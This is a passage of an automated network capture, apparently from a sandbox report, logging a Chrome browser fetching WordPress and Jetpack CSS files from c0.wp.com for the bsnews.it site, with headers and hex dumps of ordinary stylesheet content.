2d 70 6f 73 74 2d 63 6f 6d 6d 65 6e 74 73 20 2e 72 65 70 Data Ascii: t-cookies-consent{margin-top:.35em}.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-post-comments .rep
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 61 67 69 6e 61 74 69 6f 6e 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6d 6d 65 6e 74 73 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 6e 65 78 74 2d 61 72 72 6f 77 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 63 68 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6d 6d 65 6e 74 73 2d 70 61 67 69 6e 61 74 69 6f 6e 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6d 6d 65 6e 74 73 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 6e 65 78 74 2d 61 72 72 6f 77 3a 6e 6f 74 28 2e 69 73 2d 61 72 72 6f 77 2d 63 68 65 76 72 6f 6e 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 31 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6d 6d 65 6e 74 73 2d 70 61 67 69 6e 61 74 69 6f 6e 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6a 75 73 74 69 66 79 2d 63 6f 6e Data Ascii: agination .wp-block-comments-pagination-next-arrow{display:inline-block;margin-left:1ch}.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-comments-pagination.aligncenter{justify-con
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 3a 62 65 66 6f 72 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 63 6f 6e 74 65 6e 74 3a 22 22 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d Data Ascii: ackground-color:transparent}.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{background-color:inherit;content:""}.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49750	192.0.77.37	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:50:59 UTC	585	OUT	GET /c/6.4.3/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css HTTP/1.1 Host: c0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:50:59 UTC	520	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:50:59 GMT Content-Type: text/css Content-Length: 11256 Connection: close Vary: Accept-Encoding Last-Modified: Tue, 29 Sep 2020 15:53:06 GMT Alt-Svc: h3=":443"; ma=86400 Expires: Fri, 28 Mar 2025 08:50:59 GMT Cache-Control: max-age=31536000 Alt-Svc: h3=":443"; ma=86400 Strict-Transport-Security: max-age=15552000 X-nc: HIT dca 1 Timing-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-03-28 08:50:59 UTC	849	IN	Data Raw: 2e 6d 65 6a 73 2d 6f 66 66 73 63 72 65 65 6e 7b 62 6f 72 64 65 72 3a 30 3b 63 6c 69 70 3a 72 65 63 74 28 31 70 78 2c 31 70 78 2c 31 70 78 2c 31 70 78 29 3b 2d 77 65 62 6b 69 74 2d 63 6c 69 70 2d 70 61 74 68 3a 69 6e 73 65 74 28 35 30 25 29 3b 63 6c 69 70 2d 70 61 74 68 3a 69 6e 73 65 74 28 35 30 25 29 3b 68 65 69 67 68 74 3a 31 70 78 3b 6d 61 72 67 69 6e 3a 2d 31 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 70 78 3b 77 6f 72 64 2d 77 72 61 70 3a 6e 6f 72 6d 61 6c 7d 2e 6d 65 6a 73 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c Data Ascii: .mejs-offscreen{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal}.mejs-container{background:#000;font-family:Helvetica,Arial
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 7d 2e 6d 65 6a 73 2d 69 66 72 61 6d 65 2d 6f 76 65 72 6c 61 79 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 65 6a 73 2d 65 6d 62 65 64 2c 2e 6d 65 6a 73 2d 65 6d 62 65 64 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 30 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6d 61 72 67 69 6e 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 65 6a 73 2d 66 75 6c 6c 73 63 72 65 65 6e 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 65 6a 73 2d 63 6f 6e 74 61 69 6e 65 72 2d 66 75 6c 6c 73 63 72 65 65 6e 7b 62 Data Ascii: focus{outline:none}.mejs-iframe-overlay{height:100%;position:absolute;width:100%}.mejs-embed,.mejs-embed body{background:#000;height:100%;margin:0;overflow:hidden;padding:0;width:100%}.mejs-fullscreen{overflow:hidden!important}.mejs-container-fullscreen{b
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 38 30 70 78 7d 2e 6d 65 6a 73 2d 6f 76 65 72 6c 61 79 2d 6c 6f 61 64 69 6e 67 2d 62 67 2d 69 6d 67 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 3a 61 20 31 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d 61 74 69 6f 6e 3a 61 20 31 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 20 75 72 6c 28 6d 65 6a 73 2d 63 6f 6e 74 72 6f 6c 73 2e 73 76 67 29 20 2d 31 36 30 70 78 20 2d 34 30 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 38 30 70 78 3b 77 69 64 74 68 3a 38 30 70 78 3b 7a 2d 69 6e 64 65 78 3a 31 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65 73 20 61 7b 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 Data Ascii: 80px}.mejs-overlay-loading-bg-img{-webkit-animation:a 1s linear infinite;animation:a 1s linear infinite;background:transparent url(mejs-controls.svg) -160px -40px no-repeat;display:block;height:80px;width:80px;z-index:1}@-webkit-keyframes a{to{-webkit-tra
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 20 62 75 74 74 6f 6e 2c 2e 6d 65 6a 73 2d 63 6f 6e 74 61 69 6e 65 72 2d 6b 65 79 62 6f 61 72 64 2d 69 6e 61 63 74 69 76 65 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 30 7d 2e 6d 65 6a 73 2d 74 69 6d 65 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 68 65 69 67 68 74 3a 32 34 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 61 64 64 69 6e 67 3a 31 36 70 78 20 36 70 78 20 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 6d 65 6a 73 2d 70 6c 61 79 3e 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a Data Ascii: button,.mejs-container-keyboard-inactive button:focus{outline:0}.mejs-time{box-sizing:content-box;color:#fff;font-size:11px;font-weight:700;height:24px;overflow:hidden;padding:16px 6px 0;text-align:center;width:auto}.mejs-play>button{background-position:
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 30 70 78 20 30 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 62 7b 30 25 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 30 7d 74 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 33 30 70 78 20 30 7d 7d 2e 6d 65 6a 73 2d 74 69 6d 65 2d 6c 6f 61 64 65 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 33 29 7d 2e 6d 65 6a 73 2d 74 69 6d 65 2d 63 75 72 72 65 6e 74 2c 2e 6d 65 6a 73 2d 74 69 6d 65 2d 68 61 6e 64 6c 65 2d 63 6f 6e 74 65 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 39 29 7d 2e 6d 65 6a 73 2d 74 69 6d 65 2d 68 6f 76 65 72 65 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 35 29 3b 7a 2d 69 6e 64 Data Ascii: 0px 0}}@keyframes b{0%{background-position:0 0}to{background-position:30px 0}}.mejs-time-loaded{background:hsla(0,0%,100%,.3)}.mejs-time-current,.mejs-time-handle-content{background:hsla(0,0%,100%,.9)}.mejs-time-hovered{background:hsla(0,0%,100%,.5);z-ind
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 69 6d 65 2d 72 61 69 6c 20 2e 6d 65 6a 73 2d 74 69 6d 65 2d 68 61 6e 64 6c 65 2d 63 6f 6e 74 65 6e 74 3a 61 63 74 69 76 65 2c 2e 6d 65 6a 73 2d 74 69 6d 65 2d 72 61 69 6c 20 2e 6d 65 6a 73 2d 74 69 6d 65 2d 68 61 6e 64 6c 65 2d 63 6f 6e 74 65 6e 74 3a 66 6f 63 75 73 2c 2e 6d 65 6a 73 2d 74 69 6d 65 2d 72 61 69 6c 3a 68 6f 76 65 72 20 2e 6d 65 6a 73 2d 74 69 6d 65 2d 68 61 6e 64 6c 65 2d 63 6f 6e 74 65 6e 74 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 2e 6d 65 6a 73 2d 74 69 6d 65 2d 66 6c 6f 61 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 65 65 65 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 Data Ascii: ime-rail .mejs-time-handle-content:active,.mejs-time-rail .mejs-time-handle-content:focus,.mejs-time-rail:hover .mejs-time-handle-content{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1)}.mejs-time-float{background:#eee;border:1px soli
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 30 2c 2e 37 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 74 74 6f 6d 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 31 31 35 70 78 3b 6c 65 66 74 3a 35 30 25 3b 6d 61 72 67 69 6e 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 35 30 25 29 3b 2d 6d 73 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 35 30 25 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 35 30 25 29 3b 77 69 64 74 68 3a 32 35 70 78 3b 7a 2d 69 6e 64 65 78 3a 31 7d 2e 6d 65 6a 73 2d 76 6f 6c 75 6d 65 2d 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 30 20 34 Data Ascii: 0,.7);border-radius:0;bottom:100%;display:none;height:115px;left:50%;margin:0;position:absolute;-webkit-transform:translateX(-50%);-ms-transform:translateX(-50%);transform:translateX(-50%);width:25px;z-index:1}.mejs-volume-button:hover{border-radius:0 0 4
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 2d 31 34 30 70 78 20 30 7d 2e 6d 65 6a 73 2d 63 68 61 70 74 65 72 73 2d 62 75 74 74 6f 6e 3e 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 2d 31 38 30 70 78 20 30 7d 2e 6d 65 6a 73 2d 63 61 70 74 69 6f 6e 73 2d 62 75 74 74 6f 6e 3e 2e 6d 65 6a 73 2d 63 61 70 74 69 6f 6e 73 2d 73 65 6c 65 63 74 6f 72 2c 2e 6d 65 6a 73 2d 63 68 61 70 74 65 72 73 2d 62 75 74 74 6f 6e 3e 2e 6d 65 6a 73 2d 63 68 61 70 74 65 72 73 2d 73 65 6c 65 63 74 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 35 30 2c 35 30 2c 35 30 2c 2e 37 29 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 74 74 6f 6d 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 72 69 67 Data Ascii: -140px 0}.mejs-chapters-button>button{background-position:-180px 0}.mejs-captions-button>.mejs-captions-selector,.mejs-chapters-button>.mejs-chapters-selector{background:rgba(50,50,50,.7);border:1px solid transparent;border-radius:0;bottom:100%;margin-rig
2024-03-28 08:50:59 UTC	824	IN	Data Raw: 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 6d 65 6a 73 2d 63 61 70 74 69 6f 6e 73 2d 6c 61 79 65 72 20 61 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 6d 65 6a 73 2d 63 61 70 74 69 6f 6e 73 2d 6c 61 79 65 72 5b 6c 61 6e 67 3d 61 72 5d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 6d 65 6a 73 2d 63 61 70 74 69 6f 6e 73 2d 70 6f 73 69 74 69 6f 6e 7b 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 6c 65 66 74 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 65 6a 73 2d 63 61 70 74 69 6f 6e 73 2d 70 6f 73 69 74 69 6f 6e Data Ascii: px;position:absolute;text-align:center}.mejs-captions-layer a{color:#fff;text-decoration:underline}.mejs-captions-layer[lang=ar]{font-size:20px;font-weight:400}.mejs-captions-position{bottom:15px;left:0;position:absolute;width:100%}.mejs-captions-position

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49748	192.0.77.37	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:50:59 UTC	575	OUT	GET /c/6.4.3/wp-includes/js/mediaelement/wp-mediaelement.min.css HTTP/1.1 Host: c0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:50:59 UTC	519	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:50:59 GMT Content-Type: text/css Content-Length: 4186 Connection: close Vary: Accept-Encoding Last-Modified: Fri, 07 Jun 2019 20:45:02 GMT Alt-Svc: h3=":443"; ma=86400 Expires: Fri, 28 Mar 2025 08:50:59 GMT Cache-Control: max-age=31536000 Alt-Svc: h3=":443"; ma=86400 Strict-Transport-Security: max-age=15552000 X-nc: HIT dca 2 Timing-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-03-28 08:50:59 UTC	850	IN	Data Raw: 2e 6d 65 6a 73 2d 63 6f 6e 74 61 69 6e 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 65 6a 73 2d 63 6f 6e 74 61 69 6e 65 72 20 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 7d 2e 6d 65 6a 73 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e 6d 65 6a 73 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6d 65 6a 73 2d 63 6f 6e 74 72 6f 6c 73 2c 2e 6d 65 6a 73 2d 65 6d 62 65 64 2c 2e 6d 65 6a 73 2d 65 6d 62 65 64 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 32 32 7d 2e 6d 65 6a 73 2d 74 69 6d 65 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 77 6f 72 64 2d 77 72 61 70 3a 6e 6f 72 6d 61 6c 7d 2e 6d 65 6a 73 2d 63 6f 6e 74 72 6f 6c 73 20 61 2e 6d 65 6a 73 2d 68 6f 72 69 7a 6f 6e 74 61 Data Ascii: .mejs-container{clear:both;max-width:100%}.mejs-container *{font-family:Helvetica,Arial}.mejs-container,.mejs-container .mejs-controls,.mejs-embed,.mejs-embed body{background:#222}.mejs-time{font-weight:400;word-wrap:normal}.mejs-controls a.mejs-horizonta
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 2d 72 61 64 69 75 73 3a 30 7d 2e 6d 65 6a 73 2d 6f 76 65 72 6c 61 79 2d 6c 6f 61 64 69 6e 67 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 30 20 30 7d 2e 6d 65 6a 73 2d 63 6f 6e 74 72 6f 6c 73 20 62 75 74 74 6f 6e 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 7d 2e 6d 65 2d 63 61 6e 6e 6f 74 70 6c 61 79 7b 77 69 64 74 68 3a 61 75 74 6f 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 65 64 69 61 2d 65 6d 62 65 64 2d 64 65 74 61 69 6c 73 20 2e 77 70 2d 61 75 64 69 6f 2d 73 68 6f 72 74 63 6f 64 65 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 3a 34 30 30 70 78 7d 2e 61 75 64 69 6f 2d 64 65 74 61 69 6c 73 Data Ascii: -radius:0}.mejs-overlay-loading{background:0 0}.mejs-controls button:hover{border:none;-webkit-box-shadow:none;box-shadow:none}.me-cannotplay{width:auto!important}.media-embed-details .wp-audio-shortcode{display:inline-block;max-width:400px}.audio-details
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 70 2d 70 6c 61 79 6c 69 73 74 20 61 75 64 69 6f 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 77 69 64 74 68 3a 34 30 30 70 78 7d 2e 77 70 2d 70 6c 61 79 6c 69 73 74 20 2e 6d 65 6a 73 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 7d 2e 77 70 2d 70 6c 61 79 6c 69 73 74 20 2e 6d 65 6a 73 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6d 65 6a 73 2d 62 75 74 74 6f 6e 20 62 75 74 74 6f 6e 7b 6f 75 74 6c 69 6e 65 3a 30 7d 2e 77 70 2d 70 6c 61 79 6c 69 73 74 2d 6c 69 67 68 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 30 Data Ascii: video{display:inline-block;max-width:100%}.wp-playlist audio{display:none;max-width:100%;width:400px}.wp-playlist .mejs-container{margin:0;max-width:100%}.wp-playlist .mejs-controls .mejs-button button{outline:0}.wp-playlist-light{background:#fff;color:#0
2024-03-28 08:50:59 UTC	598	IN	Data Raw: 6c 61 79 69 6e 67 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 30 30 30 7d 2e 77 70 2d 70 6c 61 79 6c 69 73 74 2d 64 61 72 6b 20 2e 77 70 2d 70 6c 61 79 6c 69 73 74 2d 70 6c 61 79 69 6e 67 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 30 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 77 70 2d 70 6c 61 79 6c 69 73 74 2d 63 75 72 72 65 6e 74 2d 69 74 65 6d 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 3b 68 65 69 67 68 74 3a 36 30 70 78 7d 2e 77 70 2d 70 6c 61 79 6c 69 73 74 20 2e 77 70 2d 70 6c 61 79 6c 69 73 74 2d 63 75 72 72 65 6e 74 2d 69 74 65 6d 20 69 6d 67 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d Data Ascii: laying{background:#fff;color:#000}.wp-playlist-dark .wp-playlist-playing{background:#000;color:#fff}.wp-playlist-current-item{overflow:hidden;margin-bottom:10px;height:60px}.wp-playlist .wp-playlist-current-item img{float:left;max-width:60px;height:auto;m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49749	192.0.77.37	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:50:59 UTC	571	OUT	GET /p/jetpack/13.2.2/_inc/social-logos/social-logos.min.css HTTP/1.1 Host: c0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:50:59 UTC	520	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:50:59 GMT Content-Type: text/css Content-Length: 12818 Connection: close Vary: Accept-Encoding Last-Modified: Fri, 22 Mar 2024 09:30:19 GMT Alt-Svc: h3=":443"; ma=86400 Expires: Fri, 28 Mar 2025 08:50:59 GMT Cache-Control: max-age=31536000 Alt-Svc: h3=":443"; ma=86400 Strict-Transport-Security: max-age=15552000 X-nc: HIT dca 1 Timing-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-03-28 08:50:59 UTC	849	IN	Data Raw: 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 6f 63 69 61 6c 2d 6c 6f 67 6f 73 3b 73 72 63 3a 75 72 6c 28 64 61 74 61 3a 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 3b 62 61 73 65 36 34 2c 64 30 39 47 4d 67 41 42 41 41 41 41 41 42 7a 67 41 41 73 41 41 41 41 41 4d 37 67 41 41 42 79 53 41 41 45 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 48 46 51 47 59 41 43 4a 63 67 72 4e 50 4c 31 4e 41 54 59 43 4a 41 4f 42 5a 41 74 30 41 41 51 67 42 59 52 47 42 34 52 37 47 35 45 71 56 55 61 46 6a 51 4f 51 6d 65 33 62 54 66 62 2f 64 51 49 33 68 6f 52 33 59 74 30 78 4a 4e 70 6a 6c 56 6a 75 75 4f 75 44 48 64 32 6e 33 38 52 73 36 73 74 6e 43 50 69 47 4e 71 48 38 55 4a 67 6f 78 31 Data Ascii: @font-face{font-family:social-logos;src:url(data:application/octet-stream;base64,d09GMgABAAAAABzgAAsAAAAAM7gAABySAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHFQGYACJcgrNPL1NATYCJAOBZAt0AAQgBYRGB4R7G5EqVUaFjQOQme3bTfb/dQI3hoR3Yt0xJNpjlVjuuOuDHd2n38Rs6stnCPiGNqH8UJgox1
